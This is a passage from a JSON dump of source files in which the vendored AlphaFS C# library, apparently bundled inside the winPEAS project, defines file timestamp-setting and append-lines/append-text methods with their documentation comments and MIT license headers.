    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>[AlphaFS] Sets all the date and time stamps, in coordinated universal time (UTC), for the specified file, at once.</summary>\n      /// <param name=\"path\">The file for which to set the dates and times information.</param>\n      /// <param name=\"creationTimeUtc\">A <see cref=\"DateTime\"/> containing the value to set for the creation date and time of <paramref name=\"path\"/>. This value is expressed in UTC time.</param>\n      /// <param name=\"lastAccessTimeUtc\">A <see cref=\"DateTime\"/> containing the value to set for the last access date and time of <paramref name=\"path\"/>. This value is expressed in UTC time.</param>\n      /// <param name=\"lastWriteTimeUtc\">A <see cref=\"DateTime\"/> containing the value to set for the last write date and time of <paramref name=\"path\"/>. This value is expressed in UTC time.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>      \n      [SecurityCritical]\n      public static void SetTimestampsUtc(string path, DateTime creationTimeUtc, DateTime lastAccessTimeUtc, DateTime lastWriteTimeUtc, PathFormat pathFormat)\n      {\n         SetFsoDateTimeCore(null, false, path, creationTimeUtc, lastAccessTimeUtc, lastWriteTimeUtc, false, pathFormat);\n      }\n\n      /// <summary>[AlphaFS] Sets all the date and time stamps, in coordinated universal time (UTC), for the specified file, at once.</summary>\n      /// <param name=\"path\">The file for which to set the dates and times information.</param>\n      /// <param name=\"creationTimeUtc\">A <see cref=\"DateTime\"/> containing the value to set for the creation date and time of <paramref name=\"path\"/>. This value is expressed in UTC time.</param>\n      /// <param name=\"lastAccessTimeUtc\">A <see cref=\"DateTime\"/> containing the value to set for the last access date and time of <paramref name=\"path\"/>. This value is expressed in UTC time.</param>\n      /// <param name=\"lastWriteTimeUtc\">A <see cref=\"DateTime\"/> containing the value to set for the last write date and time of <paramref name=\"path\"/>. This value is expressed in UTC time.</param>\n      [SecurityCritical]\n      public static void SetTimestampsUtc(string path, DateTime creationTimeUtc, DateTime lastAccessTimeUtc, DateTime lastWriteTimeUtc)\n      {\n         SetFsoDateTimeCore(null, false, path, creationTimeUtc, lastAccessTimeUtc, lastWriteTimeUtc, false, PathFormat.RelativePath);\n      }\n\n      /// <summary>[AlphaFS] Sets all the date and time stamps, in coordinated universal time (UTC), for the specified file, at once.</summary>\n      /// <param name=\"path\">The file for which to set the dates and times information.</param>\n      /// <param name=\"creationTimeUtc\">A <see cref=\"DateTime\"/> containing the value to set for the creation date and time of <paramref name=\"path\"/>. This value is expressed in UTC time.</param>\n      /// <param name=\"lastAccessTimeUtc\">A <see cref=\"DateTime\"/> containing the value to set for the last access date and time of <paramref name=\"path\"/>. This value is expressed in UTC time.</param>\n      /// <param name=\"lastWriteTimeUtc\">A <see cref=\"DateTime\"/> containing the value to set for the last write date and time of <paramref name=\"path\"/>. This value is expressed in UTC time.</param>\n      /// <param name=\"modifyReparsePoint\">If <c>true</c>, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if <paramref name=\"path\"/> does not refer to a reparse point.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>      \n      [SecurityCritical]\n      public static void SetTimestampsUtc(string path, DateTime creationTimeUtc, DateTime lastAccessTimeUtc, DateTime lastWriteTimeUtc, bool modifyReparsePoint, PathFormat pathFormat)\n      {\n         SetFsoDateTimeCore(null, false, path, creationTimeUtc, lastAccessTimeUtc, lastWriteTimeUtc, modifyReparsePoint, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Time/File.SetTimestampsUtcTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>[AlphaFS] Sets all the date and time stamps, in coordinated universal time (UTC), for the specified file, at once.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file for which to set the dates and times information.</param>\n      /// <param name=\"creationTimeUtc\">A <see cref=\"DateTime\"/> containing the value to set for the creation date and time of <paramref name=\"path\"/>. This value is expressed in UTC time.</param>\n      /// <param name=\"lastAccessTimeUtc\">A <see cref=\"DateTime\"/> containing the value to set for the last access date and time of <paramref name=\"path\"/>. This value is expressed in UTC time.</param>\n      /// <param name=\"lastWriteTimeUtc\">A <see cref=\"DateTime\"/> containing the value to set for the last write date and time of <paramref name=\"path\"/>. This value is expressed in UTC time.</param>\n      [SecurityCritical]\n      public static void SetTimestampsUtcTransacted(KernelTransaction transaction, string path, DateTime creationTimeUtc, DateTime lastAccessTimeUtc, DateTime lastWriteTimeUtc)\n      {\n         SetFsoDateTimeCore(transaction, false, path, creationTimeUtc, lastAccessTimeUtc, lastWriteTimeUtc, false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Sets all the date and time stamps, in coordinated universal time (UTC), for the specified file, at once.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file for which to set the dates and times information.</param>\n      /// <param name=\"creationTimeUtc\">A <see cref=\"DateTime\"/> containing the value to set for the creation date and time of <paramref name=\"path\"/>. This value is expressed in UTC time.</param>\n      /// <param name=\"lastAccessTimeUtc\">A <see cref=\"DateTime\"/> containing the value to set for the last access date and time of <paramref name=\"path\"/>. This value is expressed in UTC time.</param>\n      /// <param name=\"lastWriteTimeUtc\">A <see cref=\"DateTime\"/> containing the value to set for the last write date and time of <paramref name=\"path\"/>. This value is expressed in UTC time.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>      \n      [SecurityCritical]\n      public static void SetTimestampsUtcTransacted(KernelTransaction transaction, string path, DateTime creationTimeUtc, DateTime lastAccessTimeUtc, DateTime lastWriteTimeUtc, PathFormat pathFormat)\n      {\n         SetFsoDateTimeCore(transaction, false, path, creationTimeUtc, lastAccessTimeUtc, lastWriteTimeUtc, false, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Sets all the date and time stamps, in coordinated universal time (UTC), for the specified file, at once.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file for which to set the dates and times information.</param>\n      /// <param name=\"creationTimeUtc\">A <see cref=\"DateTime\"/> containing the value to set for the creation date and time of <paramref name=\"path\"/>. This value is expressed in UTC time.</param>\n      /// <param name=\"lastAccessTimeUtc\">A <see cref=\"DateTime\"/> containing the value to set for the last access date and time of <paramref name=\"path\"/>. This value is expressed in UTC time.</param>\n      /// <param name=\"lastWriteTimeUtc\">A <see cref=\"DateTime\"/> containing the value to set for the last write date and time of <paramref name=\"path\"/>. This value is expressed in UTC time.</param>\n      /// <param name=\"modifyReparsePoint\">If <c>true</c>, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if <paramref name=\"path\"/> does not refer to a reparse point.</param>\n      [SecurityCritical]\n      public static void SetTimestampsUtcTransacted(KernelTransaction transaction, string path, DateTime creationTimeUtc, DateTime lastAccessTimeUtc, DateTime lastWriteTimeUtc, bool modifyReparsePoint)\n      {\n         SetFsoDateTimeCore(transaction, false, path, creationTimeUtc, lastAccessTimeUtc, lastWriteTimeUtc, modifyReparsePoint, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Sets all the date and time stamps, in coordinated universal time (UTC), for the specified file, at once.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file for which to set the dates and times information.</param>\n      /// <param name=\"creationTimeUtc\">A <see cref=\"DateTime\"/> containing the value to set for the creation date and time of <paramref name=\"path\"/>. This value is expressed in UTC time.</param>\n      /// <param name=\"lastAccessTimeUtc\">A <see cref=\"DateTime\"/> containing the value to set for the last access date and time of <paramref name=\"path\"/>. This value is expressed in UTC time.</param>\n      /// <param name=\"lastWriteTimeUtc\">A <see cref=\"DateTime\"/> containing the value to set for the last write date and time of <paramref name=\"path\"/>. This value is expressed in UTC time.</param>\n      /// <param name=\"modifyReparsePoint\">If <c>true</c>, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if <paramref name=\"path\"/> does not refer to a reparse point.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>      \n      [SecurityCritical]\n      public static void SetTimestampsUtcTransacted(KernelTransaction transaction, string path, DateTime creationTimeUtc, DateTime lastAccessTimeUtc, DateTime lastWriteTimeUtc, bool modifyReparsePoint, PathFormat pathFormat)\n      {\n         SetFsoDateTimeCore(transaction, false, path, creationTimeUtc, lastAccessTimeUtc, lastWriteTimeUtc, modifyReparsePoint, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.AppendAllLines.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Collections.Generic;\nusing System.IO;\nusing System.Security;\nusing System.Text;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      #region .NET\n\n      /// <summary>Appends lines to a file, and then closes the file. If the specified file does not exist, this method creates a file, writes the\n      ///   specified lines to the file, and then closes the file.\n      /// </summary>\n      /// <remarks>\n      ///   The method creates the file if it doesn't exist, but it doesn't create new directories. Therefore, the value of the path parameter\n      ///   must contain existing directories.\n      /// </remarks>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"ArgumentOutOfRangeException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"SecurityException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <param name=\"path\">The file to append the lines to. The file is created if it doesn't already exist.</param>\n      /// <param name=\"contents\">The lines to append to the file.</param>\n      [SecurityCritical]\n      public static void AppendAllLines(string path, IEnumerable<string> contents)\n      {\n         WriteAppendAllLinesCore(null, path, contents, NativeMethods.DefaultFileEncoding, true, true, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>Appends lines to a file, and then closes the file. If the specified file does not exist, this method creates a file, writes the\n      ///   specified lines to the file, and then closes the file.\n      /// </summary>\n      /// <remarks>\n      ///   The method creates the file if it doesn't exist, but it doesn't create new directories. Therefore, the value of the path parameter\n      ///   must contain existing directories.\n      /// </remarks>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"ArgumentOutOfRangeException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"SecurityException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <param name=\"path\">The file to append the lines to. The file is created if it doesn't already exist.</param>\n      /// <param name=\"contents\">The lines to append to the file.</param>\n      /// <param name=\"encoding\">The character <see cref=\"Encoding\"/> to use.</param>\n      [SecurityCritical]\n      public static void AppendAllLines(string path, IEnumerable<string> contents, Encoding encoding)\n      {\n         WriteAppendAllLinesCore(null, path, contents, encoding, true, false, PathFormat.RelativePath);\n      }\n\n      #endregion // .NET\n\n\n      /// <summary>[AlphaFS] Appends lines to a file, and then closes the file. If the specified file does not exist, this method creates a file,\n      ///   writes the specified lines to the file, and then closes the file.\n      /// </summary>\n      /// <remarks>\n      ///   The method creates the file if it doesn't exist, but it doesn't create new directories. Therefore, the value of the path parameter\n      ///   must contain existing directories.\n      /// </remarks>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"ArgumentOutOfRangeException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"SecurityException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <param name=\"path\">The file to append the lines to. The file is created if it doesn't already exist.</param>\n      /// <param name=\"contents\">The lines to append to the file.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void AppendAllLines(string path, IEnumerable<string> contents, PathFormat pathFormat)\n      {\n         WriteAppendAllLinesCore(null, path, contents, NativeMethods.DefaultFileEncoding, true, false, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Appends lines to a file, and then closes the file. If the specified file does not\n      ///   exist, this method creates a file, writes the specified lines to the file, and then closes\n      ///   the file.\n      /// </summary>\n      /// <remarks>\n      ///   The method creates the file if it doesn't exist, but it doesn't create new directories.\n      ///   Therefore, the value of the path parameter must contain existing directories.\n      /// </remarks>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"ArgumentOutOfRangeException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"SecurityException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <param name=\"path\">\n      ///   The file to append the lines to. The file is created if it doesn't already exist.\n      /// </param>\n      /// <param name=\"contents\">The lines to append to the file.</param>\n      /// <param name=\"encoding\">The character <see cref=\"Encoding\"/> to use.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void AppendAllLines(string path, IEnumerable<string> contents, Encoding encoding, PathFormat pathFormat)\n      {\n         WriteAppendAllLinesCore(null, path, contents, encoding, true, false, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.AppendAllLinesTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Collections.Generic;\nusing System.IO;\nusing System.Security;\nusing System.Text;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      #region .NET\n\n      /// <summary>[AlphaFS] Appends lines to a file, and then closes the file. If the specified file does not exist, this method creates a file,\n      ///   writes the specified lines to the file, and then closes the file.\n      /// </summary>\n      /// <remarks>\n      ///   The method creates the file if it doesn't exist, but it doesn't create new directories. Therefore, the value of the path parameter\n      ///   must contain existing directories.\n      /// </remarks>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"ArgumentOutOfRangeException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"SecurityException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file to append the lines to. The file is created if it doesn't already exist.</param>\n      /// <param name=\"contents\">The lines to append to the file.</param>\n      [SecurityCritical]\n      public static void AppendAllLinesTransacted(KernelTransaction transaction, string path, IEnumerable<string> contents)\n      {\n         WriteAppendAllLinesCore(transaction, path, contents, NativeMethods.DefaultFileEncoding, true, false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Appends lines to a file, and then closes the file. If the specified file does not exist, this method creates a file,\n      ///   writes the specified lines to the file, and then closes the file.\n      /// </summary>\n      /// <remarks>\n      ///   The method creates the file if it doesn't exist, but it doesn't create new directories. Therefore, the value of the path parameter\n      ///   must contain existing directories.\n      /// </remarks>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"ArgumentOutOfRangeException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"SecurityException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file to append the lines to. The file is created if it doesn't already exist.</param>\n      /// <param name=\"contents\">The lines to append to the file.</param>\n      /// <param name=\"encoding\">The character <see cref=\"Encoding\"/> to use.</param>\n      [SecurityCritical]\n      public static void AppendAllLinesTransacted(KernelTransaction transaction, string path, IEnumerable<string> contents, Encoding encoding)\n      {\n         WriteAppendAllLinesCore(transaction, path, contents, encoding, true, false, PathFormat.RelativePath);\n      }\n\n      #endregion // .NET\n\n\n      /// <summary>[AlphaFS] Appends lines to a file, and then closes the file. If the specified file does not exist, this method creates a file, writes the\n      ///   specified lines to the file, and then closes the file.\n      /// </summary>\n      /// <remarks>\n      ///   The method creates the file if it doesn't exist, but it doesn't create new directories. Therefore, the value of the path parameter\n      ///   must contain existing directories.\n      /// </remarks>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"ArgumentOutOfRangeException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"SecurityException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file to append the lines to. The file is created if it doesn't already exist.</param>\n      /// <param name=\"contents\">The lines to append to the file.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void AppendAllLinesTransacted(KernelTransaction transaction, string path, IEnumerable<string> contents, PathFormat pathFormat)\n      {\n         WriteAppendAllLinesCore(transaction, path, contents, NativeMethods.DefaultFileEncoding, true, false, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Appends lines to a file, and then closes the file. If the specified file does not exist, this method creates a file,\n      ///   writes the specified lines to the file, and then closes the file.\n      /// </summary>\n      /// <remarks>\n      ///   The method creates the file if it doesn't exist, but it doesn't create new directories. Therefore, the value of the path parameter\n      ///   must contain existing directories.\n      /// </remarks>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"ArgumentOutOfRangeException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"SecurityException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file to append the lines to. The file is created if it doesn't already exist.</param>\n      /// <param name=\"contents\">The lines to append to the file.</param>\n      /// <param name=\"encoding\">The character <see cref=\"Encoding\"/> to use.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void AppendAllLinesTransacted(KernelTransaction transaction, string path, IEnumerable<string> contents, Encoding encoding, PathFormat pathFormat)\n      {\n         WriteAppendAllLinesCore(transaction, path, contents, encoding, true, false, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.AppendAllText.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.IO;\nusing System.Security;\nusing System.Text;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      #region .NET\n\n      /// <summary>Appends the specified string to the file, creating the file if it does not already exist.</summary>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"ArgumentOutOfRangeException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"SecurityException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <param name=\"path\">The file to append the specified string to.</param>\n      /// <param name=\"contents\">The string to append to the file.</param>\n      [SecurityCritical]\n      public static void AppendAllText(string path, string contents)\n      {\n         WriteAppendAllLinesCore(null, path, new[] {contents}, NativeMethods.DefaultFileEncoding, true, false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>Appends the specified string to the file, creating the file if it does not already exist.</summary>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"ArgumentOutOfRangeException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"SecurityException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <param name=\"path\">The file to append the specified string to.</param>\n      /// <param name=\"contents\">The string to append to the file.</param>\n      /// <param name=\"encoding\">The character <see cref=\"Encoding\"/> to use.</param>\n      [SecurityCritical]\n      public static void AppendAllText(string path, string contents, Encoding encoding)\n      {\n         WriteAppendAllLinesCore(null, path, new[] {contents}, encoding, true, false, PathFormat.RelativePath);\n      }\n\n      #endregion // .NET\n\n\n      /// <summary>[AlphaFS] Appends the specified string to the file, creating the file if it does not already exist.</summary>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"ArgumentOutOfRangeException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"SecurityException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <param name=\"path\">The file to append the specified string to.</param>\n      /// <param name=\"contents\">The string to append to the file.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void AppendAllText(string path, string contents, PathFormat pathFormat)\n      {\n         WriteAppendAllLinesCore(null, path, new[] {contents}, NativeMethods.DefaultFileEncoding, true, false, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Appends the specified string to the file, creating the file if it does not already exist.</summary>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"ArgumentOutOfRangeException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"SecurityException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <param name=\"path\">The file to append the specified string to.</param>\n 